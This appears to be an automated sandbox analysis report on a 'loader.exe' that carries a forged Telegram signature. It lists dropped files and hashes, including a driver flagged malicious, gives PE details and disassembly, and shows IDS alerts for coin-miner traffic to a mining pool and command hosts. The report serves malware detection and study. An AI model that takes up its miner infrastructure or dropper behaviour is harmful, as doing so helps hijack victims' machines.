Preview:	ElfChnk.....................................@...0....@.......................................................................2x......................y.......x..N...........=............................................y..................}y..3...........................................c......xb..f...h.......lc..?.......................h........c......M.......M...F...9c..............................................Qb..............................................A.......i.......................&............x..**................2..!.........x68................................................................<.......T.....!................@..2..!..[...'YE.1o..][G....T........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y.......#F.~.J.{..M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...(~K.6.......N.......(.......................{.2.5.8.7.F.2.7.F.-.D.C.3.6.-.4.1.C.E.-.B.5.3.4.-.5.B.7.B.5.2.C.8.F.7.1.C.}...8.8.7.8.4.9...N.T. .A

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.273338343434408
Encrypted:	false
SSDEEP:	384:mhWhjhUh4h4hthXhzh8cghshqh9hihXhMhxhzhwhohGh5h3hShChWhzhLhahYhC1:mBsFpkBjOFK
MD5:	C37372EB51AEDB4552CB839C7294403A
SHA1:	7B7C408D72B084CE36AA6B623AC6B907FD21D569
SHA-256:	C3B5D9D16F88507EF69A9B6FF8581AEBAFF84D254F62CD4E75B6A9C6F93E93C4
SHA-512:	69183719C29FCE5CEDB2634579ABA9FEF835A3CDC7668BB741F9DB36050756C088FD331E898DA8E4850887FD217B939DF1C5A3E7D73D2260CB3AC3570E71718E
Malicious:	false
Preview:	ElfChnk....................................................................................................................x...........................................8...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..............i.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.231195890775603
Encrypted:	false
SSDEEP:	384:ZhOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOVt9VjViVyVKVui:Zyjbn
MD5:	3365A34953FD7B16667108A049B64DA5
SHA1:	C72421A58E063D64072152344B266F8306A78702
SHA-256:	AAEDFFE84B66B602858AF51D5B2EBA7CFC9DB57A4A3DD3240DB44B737B9BBF26
SHA-512:	A5569EDC7516DACCCE7B3135114588E01ED1A77CA95B0F378E389E27AC8999EA71E8AF36FD275EEA7E81987CB9BF14910645DE3DC4FE8E086FF532796DD78AAF
Malicious:	false
Preview:	ElfChnk.........!...............!............7..`8...j......................................................................@..#................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v....................................................3..................................**..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.3512651468301184
Encrypted:	false
SSDEEP:	384:vh+BwB5BwBjBwBNSBwBYiBwB+BwBXBwBZabSqBwBlQBwBtfBwBvBwBPnBwBIrBwK:vOqabeGTnbuSxgB
MD5:	8D6619A4126B5582CEAC45E692BA2951
SHA1:	3D149C8F9EFAB645E1330EC79B1EE3F517543F83
SHA-256:	D96AA1A21202CBD8CC68AB1ACE715016DCDC973C72E7815D2DCDFAF461555263
SHA-512:	BB740ED0DA5AB8E5D51C82FDB2C056709E427257C710CC811FE9938EA30E87A5C7A10379724F9101E9DE27A99B648F3FBE03C6E1DD53E18F6FE87475632B55F2
Malicious:	false
Preview:	ElfChnk.....................................H...x...$zi.....................................................................d?).............................................=...........................................................................................................................f...............?...........................m...................M...F....................S......................................&...................................u...................................................**...............Dbf..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.421206160086997
Encrypted:	false
SSDEEP:	384:ah1qUEzUELUEnUEQUEpUE9UE4UEvUEqUEGUEuUEyUEpjUEmUE6UEVUE1UEdUEoUF:arN5mPfkvmR
MD5:	67CAD90771EBC0BD20736201D89C1586
SHA1:	EE241B07EBD6E7A64AE367520F5C0665F4EBBAD7
SHA-256:	7801ED56F87C5A71A42128D089176CFDAACCCD6998EACCD07E46207F2CD48467
SHA-512:	27DE77A98E11A1D33B648B9F46671F61338B1746032B4AD8F003A8A5C52FB7C3ECCB834057074EF5FCD3459A0810439BAF63E1320B385F7A5E81757A90BBFD13
Malicious:	false
Preview:	ElfChnk.........l...............l...............@....^.....................................................................+t].................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......Q8.......................................................6......................**...............yM..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68120
Entropy (8bit):	4.328257441883694
Encrypted:	false
SSDEEP:	384:2vFRpvFRjPoMonS6cWNfoLSbdsLSvnQYoxMtg6Wo9MtxLo9MtMozonuoxNo/Vo1J:I1Xa1ZGg6UMWeBS
MD5:	385958C4DE1460B10ADE787B88F287BB
SHA1:	53D445D82D56E88398BE51DB74D7B137D339437A
SHA-256:	E829A4D3759095E5C90AE29022415F41811A16D2F96BFC6C52CBDC2CD1F26B52
SHA-512:	9E56B791A21E1F1925E35A482E0B4D55A134839429BEEA7DBC3FD404C3D51D809F71557A237D6A3ED75084C9DCC077D7F83FE6BFC643D2A950A22D99E6278CFC
Malicious:	false
Preview:	ElfChnk.................U.......U...................T@.9.....................................................................C......................s...h...............N...=...................................................N...............................................w.......4.......................-...................................[...........).......M...R...:...........................................................&...................................................................................**......U.........1..!.........Wt.&........Wt...wX..9Ck?5.?.......A..3...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....\...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Setup.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68432
Entropy (8bit):	0.4792387071841338
Encrypted:	false
SSDEEP:	96:XKNVaO80oz38yhO2KL8k2+KNVaO80oz38yhO2KL8k2:X8V7shhOP8V7shhO
MD5:	B8934B8BBE34A8326E80B491BA0C9650
SHA1:	29CDDED4284745F6245B1841D7F98C21599A9C97
SHA-256:	E936E3543E19DFF2876484374FF02BAD0ADFC9F12BDBE6A978F318D80EF4438E
SHA-512:	273C5FE6054A37519BD32675A8C5847E83120F7117DC56F08D92A3A839EDC58AE1F6EE0BDC2629BA4F8FE91165DB94379B25B036B6500977D074347903CCD747
Malicious:	false
Preview:	ElfChnk.........................................P...(..,....................................................................................................................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................*..............%D..!............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\System.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88624
Entropy (8bit):	4.477944989625847
Encrypted:	false
SSDEEP:	768:HICC0VdICC0VZdnLmLQXHmtpJnqiNHpzoQp9ICC0Vs+S:flb4MHmcsnJS
MD5:	C09975CDC75DA98A35FEEB3D7CF858B1
SHA1:	CC47A76A088F4852ABAC68C66CAA45DD2BC3E57D
SHA-256:	2C4F04990DC93E92F059BD1F427C719CAB9E8736D1DD3F3F4B550DD6DA1BC099
SHA-512:	0504A5C81D6FAF214CFAD5E9BCC7DADEB698CAA02D019186E081679BEC5D83E1575DF87DA47266BD39F6D6E49169EA66B1F92AAA99543EF6EAC23E169DDD2BB5
Malicious:	false
Preview:	ElfChnk.................n.......................+..... ....................................................................J..................8...s...h...............`...=...................................................N...............................A....'..........w.......0.......................E...................................W...........).......M...3...:................................................................................................................'..........&...................*......n.........1..!.........i.e&........i.e.t.Q...H.C.A;.......A../...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....X...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	86776
Entropy (8bit):	3.8575388136202657
Encrypted:	false
SSDEEP:	1536:NBH8Sf2kel3f6C1JvuBH8Sf2kel3f6C1JvSPY3c9Nw0zEkkp:8
MD5:	95C1080CF3D6D9F30C7146D0C444A1B4
SHA1:	8E74A4FAF5466E357F7FB835650985629DC74C23
SHA-256:	9798AA71ACD038FB21180DAD12E1D496A163FB9F0A3F6B80E063BA040777A1AD
SHA-512:	CF9B373284A068EB86854F63C1126A38C855487D102536F028B8C27D71BE188BD8064F027FE38A6BC6660AA80D76A82A4E1E3EEA60B270369A37EE919FB41BEB
Malicious:	false
Preview:	ElfChnk.................y....................M...R..pLS{....................................................................9g.b............................................=..........................................................................................................................._...............8...........................f...................M...c...........................n...............................................&.......................................................................**......y.......Z>...!.........B.&........B...._j..d.:Ad........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..R............{..P.r.o.v.i.d.e.r.../....=.......K...N.a.m.e.......P.o.w.e.r.S.h.e.l.l..A..M...s........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n............

C:\Windows\Temp\__PSScriptPolicyTest_bue15kxb.3e5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_duyiesi2.5mv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_go3xrocq.lix.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_psqhir2y.fz0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\gyqerfjfsbie.sys

Download File

Process:	C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win64.Evo-gen.31489.1077.exe, Detection: malicious, Browse Filename: Step 3 - Setup_Install.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen29.1091.19313.13427.exe, Detection: malicious, Browse Filename: eqkh9g37Yb.exe, Detection: malicious, Browse Filename: bBcZoComLl.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: dgiX55cHyU.exe, Detection: malicious, Browse Filename: gaber_mnr.ps1, Detection: malicious, Browse Filename: w0QdNGUNtd.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen29.50366.26295.18671.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.538154728899747
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	loader.exe
File size:	5'502'728 bytes
MD5:	cdabdc02374167ccd4938e9fe8c31789
SHA1:	59028bd5da928a0aadf157c39ac2c9281dcc881d
SHA256:	9161be21746469b9b3c653b81d7ca6639927e89ece780a4682a2059ba30e2793
SHA512:	7e823f4bc54e96e1b4b3972068b1495426acb145bd9ddbfc7959fefca957d874db844a39bfd6225a97db31027ed226301f767e4d5ce708c8da4aad4e7ba11f61
SSDEEP:	98304:wTjsUxLm7HrkZkwsrK8TrIVng9Hxw+4lJZlU0SY8j/42ULZKGDeSoMjWHpNXBN6:MjhWrkZkXzTrp9Hx8JZ9SY8zCw3SnjOo
TLSH:	3446231B91DAC294D4928DBC3FA562D222B848C2D7474C177EF220EDF3469D92C9E4F6
File Content Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d......g.........."..........,S.....@..........@.............................PT...........`........................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140001140
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x671214ED [Fri Oct 18 07:57:33 2024 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3b819c3dfb34bc24b00db0746b529d11

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	29/07/2022 08:15:36 29/07/2025 08:15:36
Subject Chain	E=info@telegram.org, CN=Telegram FZ-LLC, O=Telegram FZ-LLC, L=Dubai, S=Dubai, C=AE, OID.1.3.6.1.4.1.311.60.2.1.2=Dubai, OID.1.3.6.1.4.1.311.60.2.1.3=AE, SERIALNUMBER=94349, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	D26432F60E2A3BBEB3537B78CB826828
Thumbprint SHA-1:	71AB79E1C8FF155838C37A5299AE215C52BF6D1D
Thumbprint SHA-256:	BCB22974DD56BFE9A9197D05C2D4B646F5BDF23B8BA2ACB8FD9DB1557245A407
Serial:	7AE2B5021371F092A904B6FA

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00009ED5h]
mov dword ptr [eax], 00000001h
call 00007FB838FBC82Fh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [00009EC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007FB838FBC850h
dec eax
cmp edi, eax
je 00007FB838FBC84Bh
dec esp
mov esi, dword ptr [0000D649h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007FB838FBC827h
dec eax
cmp edi, eax
jne 00007FB838FBC809h
dec eax
mov edi, dword ptr [00009E90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007FB838FBC82Eh
mov ecx, 0000001Fh
call 00007FB838FC5EC4h
jmp 00007FB838FBC849h
cmp dword ptr [edi], 00000000h
je 00007FB838FBC82Bh
mov byte ptr [0053BE91h], 00000001h
jmp 00007FB838FBC83Bh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [00009E7Ah]
dec eax
mov edx, dword ptr [00009E7Bh]
call 00007FB838FC5EBBh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007FB838FBC83Bh
dec eax
mov ecx, dword ptr [00009E50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe4d8	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x543000	0x350	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x540000	0x1a4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x53cc00	0x2b08	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x544000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb0a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe690	0x178	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9a26	0x9c00	a09ceffdcbbefa0748f83151ae976101	False	0.4896083733974359	data	6.123705642740087	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb000	0x3cc8	0x3e00	c90ead9b71877dbcd6070f00f8d87db4	False	0.5096396169354839	data	4.660252854018388	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xf000	0x530e48	0x52e200	0e89761bc0fe80b2684687e92d00b3f5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x540000	0x1a4	0x200	f5877d18c8075c8f97b7ee916aa91eef	False	0.525390625	data	3.362838094708458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x541000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x542000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x543000	0x350	0x400	a5ea00b82ddb864dd7e907200b12fbc7	False	0.3642578125	data	2.8181232842112682	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x544000	0x78	0x200	605bd4c1917d91de7185a066a49c6d83	False	0.23046875	data	1.421534345329436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x543060	0x2f0	SysEx File - IDP	English	United States	0.449468085106383

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _time64, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, rand, signal, srand, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp, wcsstr
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-18T23:09:19.985310+0200	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	192.168.2.4	53440	1.1.1.1	53	UDP
2024-10-18T23:09:21.281682+0200	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.4	49736	142.202.242.43	443	TCP
2024-10-18T23:09:21.900075+0200	2054247	ET MALWARE SilentCryptoMiner Agent Config Inbound	1	104.20.4.235	443	192.168.2.4	49735	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2024 23:09:20.067085981 CEST	49734	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:20.067127943 CEST	443	49734	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:20.067214012 CEST	49734	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:20.067629099 CEST	49734	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:20.067643881 CEST	443	49734	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:20.637411118 CEST	49735	443	192.168.2.4	104.20.4.235
Oct 18, 2024 23:09:20.637506008 CEST	443	49735	104.20.4.235	192.168.2.4
Oct 18, 2024 23:09:20.637595892 CEST	49735	443	192.168.2.4	104.20.4.235
Oct 18, 2024 23:09:20.661993980 CEST	49735	443	192.168.2.4	104.20.4.235
Oct 18, 2024 23:09:20.662029028 CEST	443	49735	104.20.4.235	192.168.2.4
Oct 18, 2024 23:09:20.716703892 CEST	443	49734	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:20.807923079 CEST	49734	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:21.274916887 CEST	443	49735	104.20.4.235	192.168.2.4
Oct 18, 2024 23:09:21.276652098 CEST	49735	443	192.168.2.4	104.20.4.235
Oct 18, 2024 23:09:21.276710987 CEST	443	49735	104.20.4.235	192.168.2.4
Oct 18, 2024 23:09:21.278826952 CEST	443	49735	104.20.4.235	192.168.2.4
Oct 18, 2024 23:09:21.278997898 CEST	49735	443	192.168.2.4	104.20.4.235
Oct 18, 2024 23:09:21.281270981 CEST	49735	443	192.168.2.4	104.20.4.235
Oct 18, 2024 23:09:21.281384945 CEST	443	49735	104.20.4.235	192.168.2.4
Oct 18, 2024 23:09:21.281549931 CEST	49735	443	192.168.2.4	104.20.4.235
